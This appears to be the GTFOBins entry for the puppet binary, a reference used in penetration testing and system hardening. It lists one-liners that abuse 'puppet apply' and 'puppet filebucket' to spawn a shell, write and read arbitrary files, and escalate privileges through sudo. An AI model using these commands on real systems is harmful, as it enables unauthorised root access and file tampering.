GTFOBins.github.io/_gtfobins/puppet.md
2020-06-10 23:04:59 +02:00

660 B

functions
shell file-write file-read sudo
code
puppet apply -e "exec { '/bin/sh -c "exec sh -i <$(tty) >$(tty) 2>$(tty)"': }"
description code
The file path must be absolute. LFILE="/tmp/file_to_write" puppet apply -e "file { '$LFILE': content => 'DATA' }"
description code
The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed. LFILE=file_to_read puppet filebucket -l diff /dev/null $LFILE
code
sudo puppet apply -e "exec { '/bin/sh -c "exec sh -i <$(tty) >$(tty) 2>$(tty)"': }"